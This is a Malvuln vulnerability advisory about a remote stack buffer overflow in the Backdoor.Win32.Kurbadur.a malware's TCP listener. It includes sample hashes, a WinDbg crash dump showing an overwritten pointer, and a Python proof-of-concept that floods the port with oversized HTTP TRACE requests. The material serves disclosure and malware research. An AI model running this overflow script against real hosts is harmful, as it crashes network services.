Backdoor.Win32.Kurbadur.a malware suffers from a remote stack buffer overflow vulnerability.
d7e25699281dd539a431c9cfb0f980e8Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/821d3d5a9b15dc3388fe17f233cce296.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Kurbadur.a
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 21220, by sending incrementing HTTP TRACE requests with an increasing payload size, we trigger buffer overflow overwriting EIP.
Upon running a fake error message box will appear, the specimen also trys to connect to SMTP port 25.
Type: PE32
MD5: 821d3d5a9b15dc3388fe17f233cce296
Vuln ID: MVID-2021-2023
Dropped files: Crss.exe
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 01/12/2021
Memory Dump:
*** WARNING: Unable to verify checksum for Crss.exe
*** ERROR: Module load completed but symbols could not be loaded for Crss.exe
Crss+0x1c5a:
00011c5a 8902 mov dword ptr [edx],eax ds:002b:41414141=????????
0:000> .ecxr
eax=41414141 ebx=04208a38 ecx=41414141 edx=41414141 esi=00000014 edi=000ac614
eip=00011c5a esp=0040143c ebp=000ac618 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Crss+0x1c5a:
00011c5a 8902 mov dword ptr [edx],eax ds:002b:41414141=????????
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
Crss+1c5a
00011c5a 8902 mov dword ptr [edx],eax
EXCEPTION_RECORD: 004feb08 -- (.exr 0x4feb08)
ExceptionAddress: 00011c5a (Crss+0x00001c5a)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 41414141
Attempt to write to address 41414141
PROCESS_NAME: Crss.exe
OVERLAPPED_MODULE: Address regions for 'mswsock' and 'dataexchange.dll' overlap
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
user32!_InternalCallWinProc+0
764ee090 55 push ebp
MOD_LIST: <ANALYSIS/>
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
CONTEXT: 004feb58 -- (.cxr 0x4feb58)
eax=41414141 ebx=04208a38 ecx=41414141 edx=41414141 esi=0000001c edi=000ac614
eip=00011c5a esp=004fefb8 ebp=000ac618 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
Crss+0x1c5a:
00011c5a 8902 mov dword ptr [edx],eax ds:002b:41414141=????????
Resetting default scope
ADDITIONAL_DEBUG_TEXT: Followup set based on attribute [Is_ChosenCrashFollowupThread] from Frame:[0] on thread:[PSEUDO_THREAD]
LAST_CONTROL_TRANSFER: from 000120fe to 00011c5a
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STRING_DEREFERENCE_STACK_OVERFLOW_INVALID_POINTER_WRITE_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141
STACK_TEXT:
004fefb8 00011c5a crss+0x1c5a
004fefc0 000120fe crss+0x20fe
004fefd4 000122a0 crss+0x22a0
004feffc 00012727 crss+0x2727
004ff0fc 000a786d crss+0x9786d
004ff8c4 0006fc0d crss+0x5fc0d
004ff8d8 0006eb95 crss+0x5eb95
004ff8fc 0006f11c crss+0x5f11c
004ff920 0002d1d2 crss+0x1d1d2
004ff938 764ee0bb user32!_InternalCallWinProc+0x2b
004ff964 764f8849 user32!InternalCallWinProc+0x20
004ff988 764fb145 user32!UserCallWinProcCheckWow+0x1be
004ffa58 764e90dc user32!DispatchMessageWorker+0x4ac
004ffac4 764e38c0 user32!DispatchMessageA+0x10
004ffacc 0006b6f4 crss+0x5b6f4
004ffb6c 0007b1c2 crss+0x6b1c2
004ffb94 0007ce34 crss+0x6ce34
004ffbd8 0007e141 crss+0x6e141
004ffc10 0007e252 crss+0x6e252
004ffc44 0007ecd7 crss+0x6ecd7
004ffc7c 0007dbdc crss+0x6dbdc
004ffccc 000a1115 crss+0x91115
004ffd2c 000a1b8c crss+0x91b8c
004ffde4 00064483 crss+0x54483
004ffe08 00064163 crss+0x54163
004fff4c 0006b864 crss+0x5b864
004fff70 000a8450 crss+0x98450
004fff88 76e38654 kernel32!BaseThreadInitThunk+0x24
004fff9c 773c4a77 ntdll!__RtlUserThreadStart+0x2f
004fffe4 773c4a47 ntdll!_RtlUserThreadStart+0x1b
SYMBOL_NAME: user32!_InternalCallWinProc+0
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: user32
IMAGE_NAME: user32.dll
DEBUG_FLR_IMAGE_TIMESTAMP: 0
STACK_COMMAND: .cxr 00000000004FEB58 ; kb ; dds 4fefb8 ; kb
FAILURE_BUCKET_ID: STRING_DEREFERENCE_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_user32.dll!_InternalCallWinProc
Exploit/PoC:
from socket import *
import time
MALWARE_HOST="x.x.x.x"
PORT=21220
sz = 2000
c=1
def doit():
global c, sz
while True:
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))
s.settimeout(0.2)
sz += 1000
JUNK="A"*sz
PAYLOAD="TRACE /"+JUNK+" HTTP/1.1\r\nHTTP/1.0-99999\r\nHost: "+JUNK+"\r\n\r\n"
s.send(PAYLOAD)
s.close()
time.sleep(0.2)
c+=1
if c==60:
print("Backdoor.Win32.Kurbadur.a / Remote Stack Buffer Overflow")
print("MD5: 821d3d5a9b15dc3388fe17f233cce296")
print("By Malvuln")
break
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).